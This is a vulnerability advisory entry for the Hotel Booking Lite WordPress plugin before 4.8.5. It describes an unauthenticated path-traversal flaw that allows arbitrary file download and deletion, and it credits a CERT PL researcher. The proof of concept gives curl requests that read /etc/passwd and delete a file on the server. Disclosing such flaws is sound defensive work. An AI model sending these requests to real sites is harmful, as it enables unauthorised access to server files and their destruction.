WordPress Plugin Vulnerabilities
Hotel Booking Lite < 4.8.5 - Unauthenticated Arbitrary File Download & Deletion
Description
The plugins do not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server
Proof of Concept
To download /etc/passwd: curl 'https://example.com/?filename=../../../../../../etc/passwd&mphb_action=download' To download and delete the /wp-content/uploads/delete-me.php file: curl 'https://example.com/?filename=../delete-me.php&mphb_action=download&remove=1'
Affects Plugins
Fixed in 4.8.5
Fixed in 4.8.5 References
CVE
Classification
Type
TRAVERSAL
OWASP top 10
CWE
Miscellaneous
Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-12-01 (about 5 months ago)
Added
2023-12-01 (about 5 months ago)
Last Updated
2024-05-07 (about 5 days ago)
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